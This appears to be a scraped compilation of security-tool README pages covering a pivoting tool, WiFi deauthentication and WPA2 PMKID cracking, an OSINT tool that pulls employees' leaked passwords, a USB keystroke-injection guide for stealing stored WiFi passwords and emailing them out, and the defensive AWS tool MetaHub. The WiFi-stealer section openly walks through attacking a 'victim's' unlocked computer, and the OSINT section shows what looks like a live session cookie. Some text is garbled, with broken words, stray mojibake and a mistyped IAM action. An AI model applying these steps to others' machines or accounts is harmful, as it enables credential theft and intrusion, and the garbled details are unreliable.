[  5]   1.00-2.00   sec  12.7 MBytes   107 Mbits/sec    0    263 KBytes       
[  5]   2.00-3.00   sec  12.4 MBytes   104 Mbits/sec    0    263 KBytes       
[  5]   3.00-4.00   sec  12.7 MBytes   106 Mbits/sec    0    263 KBytes       
[  5]   4.00-5.00   sec  13.1 MBytes   110 Mbits/sec    2    134 KBytes       
[  5]   5.00-6.00   sec  13.4 MBytes   113 Mbits/sec    0    147 KBytes       
[  5]   6.00-7.00   sec  12.6 MBytes   105 Mbits/sec    0    158 KBytes       
[  5]   7.00-8.00   sec  12.1 MBytes   101 Mbits/sec    0    173 KBytes       
[  5]   8.   00-9.00   sec  12.7 MBytes   106 Mbits/sec    0    182 KBytes       
[  5]   9.00-10.00  sec  12.6 MBytes   106 Mbits/sec    0    188 KBytes       
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec   127 MBytes   106 Mbits/sec    2             sender
[  5]   0.00-10.08  sec   125 MBytes   104 Mbits/sec                  receiver

Caveats

Because the agent is running without privileges, it's not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.

When using nmap, you should use --unprivileged or -PE to avoid false positives.

Todo

• Implement other ICMP error messages (this will speed up UDP scans) ;
• Do not RST when receiving an ACK from an invalid TCP connection (nmap will report the host as up) ;
• Add mTLS support.

Credits

• Nicolas Chatelain <nicolas -at- chatelain.me>

Airgorah - A WiFi Auditing Software That Can Perform Deauth Attacks And Passwords Cracking

Airgorah is a WiFi auditing software that can discover the clients connected to an access point, perform deauthentication attacks against specific clients or all the clients connected to it, capture WPA handshakes, and crack the password of the access point.

It is written in Rust and uses GTK4 for the graphical part. The software is mainly based on aircrack-ng tools suite.

⭐ Don't forget to put a star if you like the project!

Legal

Requirements

This software only works on linux and requires root privileges to run.

You will also need a wireless network card that supports monitor mode and packet injection.

Installation

The installation instructions are available here.

Usage

The documentation about the usage of the application is available here.

License

This project is released under MIT license.

Contributing

If you have any question about the usage of the application, do not hesitate to open a discussion

If you want to report a bug or provide a feature, do not hesitate to open an issue or submit a pull request

Pmkidcracker - A Tool To Crack WPA2 Passphrase With PMKID Value Without Clients Or De-Authentication

This program is a tool written in Python to recover the pre-shared key of a WPA2 WiFi network without any de-authentication or requiring any clients to be on the network. It targets the weakness of certain access points advertising the PMKID value in EAPOL message 1.

Program Usage

python pmkidcracker.py -s <SSID> -ap <APMAC> -c <CLIENTMAC> -p <PMKID> -w <WORDLIST> -t <THREADS(Optional)>

NOTE: apmac, clientmac, pmkid must be a hexstring, e.g b8621f50edd9

How PMKID is Calculated

The two main formulas to obtain a PMKID are as follows:

1. Pairwise Master Key (PMK) Calculation: passphrase + salt(ssid) => PBKDF2(HMAC-SHA1) of 4096 iterations
2. PMKID Calculation: HMAC-SHA1[pmk + ("PMK Name" + bssid + clientmac)]

This is just for understanding, both are already implemented in find_pw_chunk and calculate_pmkid.

Obtaining the PMKID

Below are the steps to obtain the PMKID manually by inspecting the packets in WireShark.

*You may use Hcxtools or Bettercap to quickly obtain the PMKID without the below steps. The manual way is for understanding.

To obtain the PMKID manually from wireshark, put your wireless antenna in monitor mode, start capturing all packets with airodump-ng or similar tools. Then connect to the AP using an invalid password to capture the EAPOL 1 handshake message. Follow the next 3 steps to obtain the fields needed for the arguments.

Open the pcap in WireShark:

• Filter with wlan_rsna_eapol.keydes.msgnr == 1 in WireShark to display only EAPOL message 1 packets.
• In EAPOL 1 pkt, Expand IEEE 802.11 QoS Data Field to obtain AP MAC, Client MAC
• In EAPOL 1 pkt, Expand 802.1 Authentication > WPA Key Data > Tag: Vendor Specific > PMKID is below

If access point is vulnerable, you should see the PMKID value like the below screenshot:

Demo Run

Disclaimer

This tool is for educational and testing purposes only. Do not use it to exploit the vulnerability on any network that you do not own or have permission to test. The authors of this script are not responsible for any misuse or damage caused by its use.

EmploLeaks - An OSINT Tool That Helps Detect Members Of A Company With Leaked Credentials

This is a tool designed for Open Source Intelligence (OSINT) purposes, which helps to gather information about employees of a company.

How it Works

The tool starts by searching through LinkedIn to obtain a list of employees of the company. Then, it looks for their social network profiles to find their personal email addresses. Finally, it uses those email addresses to search through a custom COMB database to retrieve leaked passwords. You an easily add yours and connect to through the tool.

Installation

To use this tool, you'll need to have Python 3.10 installed on your machine. Clone this repository to your local machine and install the required dependencies using pip in the cli folder:

cd cli
pip install -r requirements.txt

OSX

We know that there is a problem when installing the tool due to the psycopg2 binary. If you run into this problem, you can solve it running:

cd cli
python3 -m pip install psycopg2-binary`

Basic Usage

To use the tool, simply run the following command:

python3 cli/emploleaks.py

If everything went well during the installation, you will be able to start using EmploLeaks:

___________              .__         .__                 __
\_   _____/ _____ ______ |  |   ____ |  |   ____ _____  |  | __  ______
 |    __)_ /     \____  \|  |  /  _ \|  | _/ __ \__   \ |  |/ / /  ___/
 |        \  Y Y  \  |_> >  |_(  <_> )  |_\  ___/ / __ \|    <  \___ \
/_______  /__|_|  /   __/|____/\____/|____/\___  >____  /__|_ \/____  >
        \/      \/|__|                         \/     \/     \/     \/

OSINT tool 🕵  to chain multiple apis
emploleaks>

Right now, the tool supports two functionalities:

• Linkedin, for searching all employees from a company and get their personal emails.
  • A GitLab extension, which is capable of finding personal code repositories from the employees.
• If defined and connected, when the tool is gathering employees profiles, a search to a COMB database will be made in order to retrieve leaked passwords.

Retrieving Linkedin Profiles

First, you must set the plugin to use, which in this case is linkedin. After, you should set your authentication tokens and the run the impersonate process:

emploleaks> use --plugin linkedin
emploleaks(linkedin)> setopt JSESSIONID
JSESSIONID: 
[+] Updating value successfull
emploleaks(linkedin)> setopt li-at
li-at: 
[+] Updating value successfull
emploleaks(linkedin)> show options
Module options:

Name        Current Setting                      Required    Description
----------  -----------------------------------  ----------  -----------------------------------
hide        yes                                  no          hide the JSESSIONID field
JSESSIONID  **************************           no          active cookie session in browser #1
li-at       AQEDAQ74B0YEUS-_AAABilIFFBsAAAGKdhG  no          active cookie session in browser #1
            YG00AxGP34jz1bRrgAcxkXm9RPNeYIAXz3M
            cycrQm5FB6lJ-Tezn8GGAsnl_GRpEANRdPI
            lWTRJJGF9vbv5yZHKOeze_WCHoOpe4ylvET
            kyCyfN58SNNH
emploleaks(linkedin)> run i   mpersonate
[+] Using cookies from the browser
Setting for first time JSESSIONID
Setting for first time li_at

li_at and JSESSIONID are the authentication cookies of your LinkedIn session on the browser. You can use the Web Developer Tools to get it, just sign-in normally at LinkedIn and press right click and Inspect, those cookies will be in the Storage tab.

Now that the module is configured, you can run it and start gathering information from the company:

emploleaks(linkedin)> connect --user myuser --passwd mypass123 --dbname mydbname --host 1.2.3.4
[+] Connecting to the Leak Database...
[*] version: PostgreSQL 12.15

├── count_total.sh
├── data
│   ├── 0
│   ├── 1
│   │   ├── 0
│   │   ├── 1
│   │   ├── 2
│   │   ├── 3
│   │   ├── 4
│   │   ├─â&€ 5
│   │   ├── 6
│   │   ├── 7
│   │   ├── 8
│   │   ├── 9
│   │   ├── a
│   │   ├── b
│   │   ├── c
│   │   ├── d
│   │   ├── e
│   │   ├── f
│   │   ├── g
│   │   ├── h
│   │   ├── i
│   │   ├── j
│   │   ├── k
│   │   ├── l
│   │   ├── m
│   │   ├⠀─ n
│   │   ├── o
│   │   ├── p
│   │   ├── q
│   │   ├── r
│   │   ├── s
│   │   ├── symbols
│   │   ├── t

WiFi-password-stealer - Simple Windows And Linux Keystroke Injection Tool That Exfiltrates Stored WiFi Data (SSID And Password)

Have you ever watched a film where a hacker would plug-in, seemingly ordinary, USB drive into a victim's computer and steal data from it? - A proper wet dream for some.

Disclaimer: All content in this project is intended for security research purpose only.

Introduction

During the summer of 2022, I decided to do exactly that, to build a device that will allow me to steal data from a victim's computer. So, how does one deploy malware and exfiltrate data? In the following text I will explain all of the necessary steps, theory and nuances when it comes to building your own keystroke injection tool. While this project/tutorial focuses on WiFi passwords, payload code could easily be altered to do something more nefarious. You are only limited by your imagination (and your technical skills).

Setup

After creating pico-ducky, you only need to copy the modified payload (adjusted for your SMTP details for Windows exploit and/or adjusted for the Linux password and a USB drive name) to the RPi Pico.

Prerequisites

• Physical access to victim's computer.

• Unlocked victim's computer.

• Victim's computer has to have an internet access in order to send the stolen data using SMTP for the exfiltration over a network medium.

• Knowledge of victim's computer password for the Linux exploit.

Requirements - What you'll need

• Raspberry Pi Pico (RPi Pico)
• Micro USB to USB Cable
• Jumper Wire (optional)
• pico-ducky - Transformed RPi Pico into a USB Rubber Ducky
• USB flash drive (for the exploit over physical medium only)

Note:

• It is possible to build this tool using Rubber Ducky, but keep in mind that RPi Pico costs about $4.00 and the Rubber Ducky costs $80.00.

• However, while pico-ducky is a good and budget-friedly solution, Rubber Ducky does offer things like stealthiness and usage of the lastest DuckyScript version.

• In order to use Ducky Script to write the payload on your RPi Pico you first need to convert it to a pico-ducky. Follow these simple steps in order to create pico-ducky.

Keystroke injection tool

Keystroke injection tool, once connected to a host machine, executes malicious commands by running code that mimics keystrokes entered by a user. While it looks like a USB drive, it acts like a keyboard that types in a preprogrammed payload. Tools like Rubber Ducky can type over 1,000 words per minute. Once created, anyone with physical access can deploy this payload with ease.

Keystroke injection

The payload uses STRING command processes keystroke for injection. It accepts one or more alphanumeric/punctuation characters and will type the remainder of the line exactly as-is into the target machine. The ENTER/SPACE will simulate a press of keyboard keys.

Delays

We use DELAY command to temporarily pause execution of the payload. This is useful when a payload needs to wait for an element such as a Command Line to load. Delay is useful when used at the very beginning when a new USB device is connected to a targeted computer. Initially, the computer must complete a set of actions before it can begin accepting input commands. In the case of HIDs setup time is very short. In most cases, it takes a fraction of a second, because the drivers are built-in. However, in some instances, a slower PC may take longer to recognize the pico-ducky. The general advice is to adjust the delay time according to your target.

Exfiltration

Data exfiltration is an unauthorized transfer of data from a computer/device. Once the data is collected, adversary can package it to avoid detection while sending data over the network, using encryption or compression. Two most common way of exfiltration are:

• Exfiltration over the network medium.

• This approach was used for the Windows exploit. The whole payload can be seen here.

• Exfiltration over a physical medium.

• This approach was used for the Linux exploit. The whole payload can be seen here.

Windows exploit

In order to use the Windows payload (payload1.dd), you don't need to connect any jumper wire between pins.

Sending stolen data over email

Once passwords have been exported to the .txt file, payload will send the data to the appointed email using Yahoo SMTP. For more detailed instructions visit a following link. Also, the payload template needs to be updated with your SMTP information, meaning that you need to update RECEIVER_EMAIL, SENDER_EMAIL and yours email PASSWORD. In addition, you could also update the body and the subject of the email.

 Note:

• After sending data over the email, the .txt file is deleted.

• You can also use some an SMTP from another email provider, but you should be mindful of SMTP server and port number you will write in the payload.

• Keep in mind that some networks could be blocking usage of an unknown SMTP at the firewall.

Linux exploit

In order to use the Linux payload (payload2.dd) you need to connect a jumper wire between GND and GPIO5 in order to comply with the code in code.py on your RPi Pico. For more information about how to setup multiple payloads on your RPi Pico visit this link.

Storing stolen data to USB flash drive

Once passwords have been exported from the computer, data will be saved to the appointed USB flash drive. In order for this payload to function properly, it needs to be updated with the correct name of your USB drive, meaning you will need to replace USBSTICK with the name of your USB drive in two places.

In addition, you will also need to update the Linux PASSWORD in the payload in three places. As stated above, in order for this exploit to be successful, you will need to know the victim's Linux machine password, which makes this attack less plausible.

Bash script

In order to run the wifi_passwords_print.sh script you will need to update the script with the correct name of your USB stick after which you can type in the following command in your terminal:

echo PASSWORD | sudo -S sh wifi_passwords_print.sh USBSTICK

where PASSWORD is your account's password and USBSTICK is the name for your USB device.

Quick overview of the payload

NetworkManager is based on the concept of connection profiles, and it uses plugins for reading/writing data. It uses .ini-style keyfile format and stores network configuration profiles. The keyfile is a plugin that supports all the connection types and capabilities that NetworkManager has. The files are located in /etc/NetworkManager/system-connections/. Based on the keyfile format, the payload uses the grep command with regex in order to extract data of interest. For file filtering, a modified positive lookbehind assertion was used ((?<=keyword)). While the positive lookbehind assertion will match at a certain position in the string, sc. at a position right after the keyword without making that text itself part of the match, the regex (?<=keyword).* will match any text after the keyword. This allows the payload to match the values after SSID and psk (pre-shared key) keywords.

For more information about NetworkManager here is some useful links:

• Manually creating NetworkManager profiles in keyfile format
• Description of keyfile settings plugin

Exfiltrated data formatting

Below is an example of the exfiltrated and formatted data from a victim's machine in a .txt file.

USB Mass Storage Device Problem

One of the advantages of Rubber Ducky over RPi Pico is that it doesn't show up as a USB mass storage device once plugged in. Once plugged into the computer, all the machine sees it as a USB keyboard. This isn't a default behavior for the RPi Pico. If you want to prevent your RPi Pico from showing up as a USB mass storage device when plugged in, you need to connect a jumper wire between pin 18 (GND) and pin 20 (GPIO15). For more details visit this link.

 Tip:

• Upload your payload to RPi Pico before you connect the pins.
• Don't solder the pins because you will probably want to change/update the payload at some point.

Payload Writer

When creating a functioning payload file, you can use the writer.py script, or you can manually change the template file. In order to run the script successfully you will need to pass, in addition to the script file name, a name of the OS (windows or linux) and the name of the payload file (e.q. payload1.dd). Below you can find an example how to run the writer script when creating a Windows payload.

python3 writer.py windows payload1.dd

Limitations/Drawbacks

• This pico-ducky currently works only on Windows OS.

• This attack requires physical access to an unlocked device in order to be successfully deployed.

• The Linux exploit is far less likely to be successful, because in order to succeed, you not only need physical access to an unlocked device, you also need to know the admins password for the Linux machine.

• Machine's firewall or network's firewall may prevent stolen data from being sent over the network medium.

• Payload delays could be inadequate due to varying speeds of different computers used to deploy an attack.

• The pico-ducky device isn't really stealthy, actually it's quite the opposite, it's really bulky especially if you solder the pins.

• Also, the pico-ducky device is noticeably slower compared to the Rubber Ducky running the same script.

• If the Caps Lock is ON, some of the payload code will not be executed and the exploit will fail.

• If the computer has a non-English Environment set, this exploit won't be successful.

• Currently, pico-ducky doesn't support DuckyScript 3.0, only DuckyScript 1.0 can be used. If you need the 3.0 version you will have to use the Rubber Ducky.

To-Do List

• Fix Caps Lock bug.
• Fix non-English Environment bug.
• Obfuscate the command prompt.
• Implement exfiltration over a physical medium.
• Create a payload for Linux.
• Encode/Encrypt exfiltrated data before sending it over email.
• Implement indicator of successfully completed exploit.
• Implement command history clean-up for Linux exploit.
• Enhance the Linux exploit in order to avoid usage of sudo.

Metahub - An Automated Contextual Security Findings Enrichment And Impact Evaluation Tool For Vulnerability Management

MetaHub is an automated contextual security findings enrichment and impact evaluation tool for vulnerability management. You can use it with AWS Security Hub or any ASFF-compatible security scanner. Stop relying on useless severities and switch to impact scoring definitions based on YOUR context.

MetaHub is an open-source security tool for impact-contextual vulnerability management. It can automate the process of contextualizing security findings based on your environment and your needs: YOUR context, identifying ownership, and calculate an impact scoring based on it that you can use for defining prioritization and automation. You can use it with AWS Security Hub or any ASFF security scanners (like Prowler).

MetaHub describe your context by connecting to your affected resources in your affected accounts. It can describe information about your AWS account and organization, the affected resources tags, the affected CloudTrail events, your affected resource configurations, and all their associations: if you are contextualizing a security finding affecting an EC2 Instance, MetaHub will not only connect to that instance itself but also its IAM Roles; from there, it will connect to the IAM Policies associated with those roles. It will connect to the Security Groups and analyze all their rules, the VPC and the Subnets where the instance is running, the Volumes, the Auto Scaling Groups, and more.

After fetching all the information from your context, MetaHub will evaluate certain important conditions for all your resources: exposure, access, encryption, status, environment and application. Based on those calculations and in addition to the information from the security findings affecting the resource all together, MetaHub will generate a Scoring for each finding.

Check the following dashboard generated by MetaHub. You have the affected resources, grouping all the security findings affecting them together and the original severity of the finding. After that, you have the Impact Score and all the criteria MetaHub evaluated to generate that score. All this information is filterable, sortable, groupable, downloadable, and customizable.

You can rely on this Impact Score for prioritizing findings (where should you start?), directing attention to critical issues, and automating alerts and escalations.

MetaHub can also filter, deduplicate, group, report, suppress, or update your security findings in automated workflows. It is designed for use as a CLI tool or within automated workflows, such as AWS Security Hub custom actions or AWS Lambda functions.

The following is the JSON output for a an EC2 instance; see how MetaHub organizes all the information about its context together, under associations, config, tags, account cloudtrail, and impact

Context

In MetaHub, context refers to information about the affected resources like their configuration, associations, logs, tags, account, and more.

MetaHub doesn't stop at the affected resource but analyzes any associated or attached resources. For instance, if there is a security finding on an EC2 instance, MetaHub will not only analyze the instance but also the security groups attached to it, including their rules. MetaHub will examine the IAM roles that the affected resource is using and the policies attached to those roles for any issues. It will analyze the EBS attached to the instance and determine if they are encrypted. It will also analyze the Auto Scaling Groups that the instance is associated with and how. MetaHub will also analyze the VPC, Subnets, and other resources associated with the instance.

The Context module has the capability to retrieve information from the affected resources, affected accounts, and every associated resources. The context module has five main parts: config (which includes associations as well), tags, cloudtrail, and account. By default config and tags are enabled, but you can change this behavior using the option --context (for enabling all the context modules you can use --context config tags cloudtrail account). The output of each enabled key will be added under the affected resource.

Config

Under the config key, you can find anyting related to the configuration of the affected resource. For example, if the affected resource is an EC2 Instance, you will see keys like private_ip, public_ip, or instance_profile.

You can filter your findings based on Config outputs using the option: --mh-filters-config <key> {True/False}. See Config Filtering.

Associations

Under the associations key, you will find all the associated resources of the affected resource. For example, if the affected resource is an EC2 Instance, you will find resources like: Security Groups, IAM Roles, Volumes, VPC, Subnets, Auto Scaling Groups, etc. Each time MetaHub finds an association, it will connect to the associated resource again and fetch its own context.

Associations are key to understanding the context and impact of your security findings as their exposure.

You can filter your findings based on Associations outputs using the option: --mh-filters-config <key> {True/False}. See Config Filtering.

Tags

MetaHub relies on AWS Resource Groups Tagging API to query the tags associated with your resources.

Note that not all AWS resource type supports this API. You can check supported services.

Tags are a crucial part of understanding your context. Tagging strategies often include:

• Environment (like Production, Staging, Development, etc.)
• Data classification (like Confidential, Restricted, etc.)
• Owner (like a team, a squad, a business unit, etc.)
• Compliance (like PCI, SOX, etc.)

If you follow a proper tagging strategy, you can filter and generate interesting outputs. For example, you could list all findings related to a specific team and provide that data directly to that team.

You can filter your findings based on Tags outputs using the option: --mh-filters-tags TAG=VALUE. See Tags Filtering

CloudTrail

Under the key cloudtrail, you will find critical Cloudtrail events related to the affected resource, such as creating events.

The Cloudtrail events that we look for are defined by resource type, and you can add, remove or change them by editing the configuration file resources.py.

For example for an affected resource of type Security Group, MetaHub will look for the following events:

• CreateSecurityGroup: Security Group Creation event
• AuthorizeSecurityGroupIngress: Security Group Rule Authorization event.

Account

Under the key account, you will find information about the account where the affected resource is runnning, like if it's part of an AWS Organizations, information about their contacts, etc.

Ownership

MetaHub also focuses on ownership detection. It can determine the owner of the affected resource in various ways. This information can be used to automatically assign a security finding to the correct owner, escalate it, or make decisions based on this information.

An automated way to determine the owner of a resource is critical for security teams. It allows them to focus on the most critical issues and escalate them to the right people in automated workflows. But automating workflows this way, it is only viable if you have a reliable way to define the impact of a finding, which is why MetaHub also focuses on impact.

Impact

The impact module in MetaHub focuses on generating a score for each finding based on the context of the affected resource and all the security findings affecting them. For the context, we define a series of evaluated criteria; you can add, remove, or modify these criteria based on your needs. The Impact criteria are combined with a metric generated based on all the Security Findings affecting the affected resource and their severities.

The following are the impact criteria that MetaHub evaluates by default:

Exposure

Exposure evaluates the how the the affected resource is exposed to other networks. For example, if the affected resource is public, if it is part of a VPC, if it has a public IP or if it is protected by a firewall or a security group.

Access

Access evaluates the resource policy layer. MetaHub checks every available policy including: IAM Managed policies, IAM Inline policies, Resource Policies, Bucket ACLS, and any association to other resources like IAM Roles which its policies are also analyzed . An unrestricted policy is not only an itsue itself of that policy, it afected any other resource which is using it.

Encryption

Encryption evaluate the different encryption layers based on each resource type. For example, for some resources it evaluates if at_rest and in_transit encryption configuration are both enabled.

Status

Status evaluate the status of the affected resource in terms of attachment or functioning. For example, for an EC2 Instance we evaluate if the resource is running, stopped, or terminated, but for resources like EBS Volumes and Security Groups, we evaluate if those resources are attached to any other resource.

Environment

Environment evaluates the environment where the affected resource is running. By default, MetaHub defines 3 environments: production, staging, and development, but you can add, remove, or modify these environments based on your needs. MetaHub evaluates the environment based on the tags of the affected resource, the account id or the account alias. You can define your own environemnts definitions and strategy in the configuration file (See Customizing Configuration).

Application

Application evaluates the application that the affected resource is part of. MetaHub relies on the AWS myApplications feature, which relies on the Tag awsApplication, but you can extend this functionality based on your context for example by defining other tags you use for defining applications or services (like Service or any other), or by relying on account id or alias. You can define your application definitions and strategy in the configuration file (See Customizing Configuration).

Findings Soring

As part of the impact score calculation, we also evaluate the total ammount of security findings and their severities affecting the resource. We use the following formula to calculate this metric:

(SUM of all (Finding Severity / Highest Severity) with a maximum of 1)

For example, if the affected resource has two findings affecting it, one with HIGH and another with LOW severity, the Impact Findings Score will be:

SUM(HIGH (3) / CRITICAL (4) + LOW (0.5) / CRITICAL (4)) = 0.875

Architecture

MetaHub reads your security findings from AWS Security Hub or any ASFF-compatible security scanner. It then queries the affected resources directly in the affected account to provide additional context. Based on that context, it calculates it's impact. Finally, it generates different outputs based on your needs.

Use Cases

Some use cases for MetaHub include:

• MetaHub integration with Prowler as a local scanner for context enrichment
• Automating Security Hub findings suppression based on Tagging
• Integrate MetaHub directly as Security Hub custom action to use it directly from the AWS Console
• Created enriched HTML reports for your findings that you can filter, sort, group, and download
• Create Security Hub Insights based on MetaHub context

Features

MetaHub provides a range of ways to list and manage security findings for investigation, suppression, updating, and integration with other tools or alerting systems. To avoid Shadowing and Duplication, MetaHub organizes related findings together when they pertain to the same resource. For more information, refer to Findings Aggregation

MetaHub queries the affected resources directly in the affected account to provide additional context using the following options:

• Config: Fetches the most important configuration values from the affected resource.
• Associations: Fetches all the associations of the affected resource, such as IAM roles, security groups, and more.
• Tags: Queries tagging from affected resources
• CloudTrail: Queries CloudTrail in the affected account to identify who created the resource and when, as well as any other related critical events
• Account: Fetches extra information from the account where the affected resource is running, such as the account name, security contacts, and other information.

MetaHub supports filters on top of these context* outputs to automate the detection of other resources with the same issues. You can filter security findings affecting resources tagged in a certain way (e.g., Environment=production) and combine this with filters based on Config or Associations, like, for example, if the resource is public, if it is encrypted, only if they are part of a VPC, if they are using a specific IAM role, and more. For more information, refer to Config filters and Tags filters for more information.

But that's not all. If you are using MetaHub with Security Hub, you can even combine the previous filters with the Security Hub native filters (AWS Security Hub filtering). You can filter the same way you would with the AWS CLI utility using the option --sh-filters, but in addition, you can save and re-use your filters as YAML files using the option --sh-template.

If you prefer, With MetaHub, you can back enrich your findings directly in AWS Security Hub using the option --enrich-findings. This action will update your AWS Security Hub findings using the field UserDefinedFields. You can then create filters or Insights directly in AWS Security Hub and take advantage of the contextualization added by MetaHub.

When investigating findings, you may need to update security findings altogether. MetaHub also allows you to execute bulk updates to AWS Security Hub findings, such as changing Workflow Status using the option --update-findings. As an example, you identified that you have hundreds of security findings about public resources. Still, based on the MetaHub context, you know those resources are not effectively public as they are protected by routing and firewalls. You can update all the findings for the output of your MetaHub query with one command. When updating findings using MetaHub, you also update the field Note of your finding with a custom text for future reference.

MetaHub supports different Output Modes, some of them json based like json-inventory, json-statistics, json-short, json-full, but also powerfull html, xlsx and csv. These outputs are customizable; you can choose which columns to show. For example, you may need a report about your affected resources, adding the tag Owner, Service, and Environment and nothing else. Check the configuration file and define the columns you need.

MetaHub supports multi-account setups. You can run the tool from any environment by assuming roles in your AWS Security Hub master account and your child/service accounts where your resources live. This allows you to fetch aggregated data from multiple accounts using your AWS Security Hub multi-account implementation while also fetching and enriching those findings with data from the accounts where your affected resources live based on your needs. Refer to Configuring Security Hub for more information.

Customizing Configuration

MetaHub uses configuration files that let you customize some checks behaviors, default filters, and more. The configuration files are located in lib/config/.

Things you can customize:

• lib/config/configuration.py: This file contains the default configuration for MetaHub. You can change the default filters, the default output modes, the environment definitions, and more.

• lib/config/impact.py: This file contains the values and it's weights for the impact formula criteria. You can modify the values and the weights based on your needs.

• lib/config/reources.py: This file contains definitions for every resource type, like which CloudTrail events to look for.

Run with Python

MetaHub is a Python3 program. You need to have Python3 installed in your system and the required Python modules described in the file requirements.txt.

Requirements can be installed in your system manually (using pip3) or using a Python virtual environment (suggested method).

Run it using Python Virtual Environment

1. Clone the repository: git clone git@github.com:gabrielsoltz/metahub.git
2. Change to repostiory dir: cd metahub
3. Create a virtual environment for this project: python3 -m venv venv/metahub
4. Activate the virtual environment you just created: source venv/metahub/bin/activate
5. Install Metahub requirements: pip3 install -r requirements.txt
6. Run: ./metahub -h
7. Deactivate your virtual environment after you finish with: deactivate

Next time, you only need steps 4 and 6 to use the program.

Alternatively, you can run this tool using Docker.

Run with Docker

MetaHub is also available as a Docker image. You can run it directly from the public Docker image or build it locally.

The available tagging for MetaHub containers are the following:

• latest: in sync with master branch
• <x.y.z>: you can find the releases here
• stable: this tag always points to the latest release.

For running from the public registry, you can run the following command:

docker run -ti public.ecr.aws/n2p8q5p4/metahub:latest ./metahub -h

AWS credentials and Docker

If you are already logged into the AWS host machine, you can seamlessly use the same credentials within a Docker container. You can achieve this by either passing the necessary environment variables to the container or by mounting the credentials file.

For instance, you can run the following command:

docker run -e AWS_DEFAULT_REGION -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN -ti public.ecr.aws/n2p8q5p4/metahub:latest ./metahub -h

On the other hand, if you are not logged in on the host machine, you will need to log in again from within the container itself.

Build and Run Docker locally

Or you can also build it locally:

git clone git@github.com:gabrielsoltz/metahub.git
cd metahub
docker build -t metahub .
docker run -ti metahub ./metahub -h

Run with Lambda

MetaHub is Lambda/Serverless ready! You can run MetaHub directly on an AWS Lambda function without any additional infrastructure required.

Running MetaHub in a Lambda function allows you to automate its execution based on your defined triggers.

Terraform code is provided for deploying the Lambda function and all its dependencies.

Lambda use-cases

• Trigger the MetaHub Lambda function each time there is a new security finding to enrich that finding back in AWS Security Hub.
• Trigger the MetaHub Lambda function each time there is a new security finding for suppression based on Context.
• Trigger the MetaHub Lambda function to identify the affected owner of a security finding based on Context and assign it using your internal systems.
• Trigger the MetaHub Lambda function to create a ticket with enriched context.

Deploying Lambda

The terraform code for deploying the Lambda function is provided under the terraform/ folder.

Just run the following commands:

cd terraform
terraform init
terraform apply

The code will create a zip file for the lambda code and a zip file for the Python dependencies. It will also create a Lambda function and all the required resources.

Customize Lambda behaviour

You can customize MetaHub options for your lambda by editing the file lib/lambda.py. You can change the default options for MetaHub, such as the filters, the Meta* options, and more.

Lambda Permissions

Terraform will create the minimum required permissions for the Lambda function to run locally (in the same account). If you want your Lambda to assume a role in other accounts (for example, you will need this if you are executing the Lambda in the Security Hub master account that is aggregating findings from other accounts), you will need to specify the role to assume, adding the option --mh-assume-role in the Lambda function configuration (See previous step) and adding the corresponding policy to allow the Lambda to assume that role in the lambda role.

Run with Security Hub Custom Action

MetaHub can be run as a Security Hub Custom Action. This allows you to run MetaHub directly from the Security Hub console for a selected finding or for a selected set of findings.

The custom action will then trigger a Lambda function that will run MetaHub for the selected findings. By default, the Lambda function will run MetaHub with the option --enrich-findings, which means that it will update your finding back with MetaHub outputs. If you want to change this, see Customize Lambda behavior

You need first to create the Lambda function and then create the custom action in Security Hub.

For creating the lambda function, follow the instructions in the Run with Lambda section.

For creating the AWS Security Hub custom action:

1. In Security Hub, choose Settings and then choose Custom Actions.
2. Choose Create custom action.
3. Provide a Name, Description, and Custom action ID for the action.
4. Choose Create custom action. (Make a note of the Custom action ARN. You need to use the ARN when you create a rule to associate with this action in EventBridge.)
5. In EventBridge, choose Rules and then choose Create rule.
6. Enter a name and description for the rule.
7. For the Event bus, choose the event bus that you want to associate with this rule. If you want this rule to match events that come from your account, select default. When an AWS service in your account emits an event, it always goes to your account's default event bus.
8. For Rule type, choose a rule with an event pattern and then press Next.
9. For Event source, choose AWS events.
10. For the Creation method, choose Use pattern form.
11. For Event source, choose AWS services.
12. For AWS service, choose Security Hub.
13. For Event type, choose Security Hub Findings - Custom Action.
14. Choose Specific custom action ARNs and add a custom action ARN.
15. Choose Next.
16. Under Select targets, choose the Lambda function
17. Select the Lambda function you created for MetaHub.

AWS Authentication

• Ensure you have AWS credentials set up on your local machine (or from where you will run MetaHub).

For example, you can use aws configure option.

aws configure

Or you can export your credentials to the environment.

export AWS_DEFAULT_REGION="us-east-1"
export AWS_ACCESS_KEY_ID= "ASXXXXXXX"
export AWS_SECRET_ACCESS_KEY= "XXXXXXXXX"
export AWS_SESSION_TOKEN= "XXXXXXXXX"

Configuring Security Hub

• If you are running MetaHub for a single AWS account setup (AWS Security Hub is not aggregating findings from different accounts), you don't need to use any additional options; MetaHub will use the credentials in your environment. Still, if your IAM design requires it, it is possible to log in and assume a role in the same account you are logged in. Just use the options --sh-assume-role to specify the role and --sh-account with the same AWS Account ID where you are logged in.

• --sh-region: The AWS Region where Security Hub is running. If you don't specify a region, it will use the one configured in your environment. If you are using AWS Security Hub Cross-Region aggregation, you should use that region as the --sh-region option so that you can fetch all findings together.

• --sh-account and --sh-assume-role: The AWS Account ID where Security Hub is running and the AWS IAM role to assume in that account. These options are helpful when you are logged in to a different AWS Account than the one where AWS Security Hub is running or when running AWS Security Hub in a multiple AWS Account setup. Both options must be used together. The role provided needs to have enough policies to get and update findings in AWS Security Hub (if needed). If you don't specify a --sh-account, MetaHub will assume the one you are logged in.

• --sh-profile: You can also provide your AWS profile name to use for AWS Security Hub. When using this option, you don't need to specify --sh-account or --sh-assume-role as MetaHub will use the credentials from the profile. If you are using --sh-account and --sh-assume-role, those options take precedence over --sh-profile.

IAM Policy for Security Hub

This is the minimum IAM policy you need to read and write from AWS Security Hub. If you don't want to update your findings with MetaHub, you can remove the securityhub:BatchUpdateFindings action.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "security hub:GetFindings",
                "security hub:ListFindingAggregators",
                "security hub:BatchUpdateFindings",
                "iam:ListAccountAliases"
            ],
            "Resource": [
                "*"
            ]
        }
    ]
}

Configuring Context

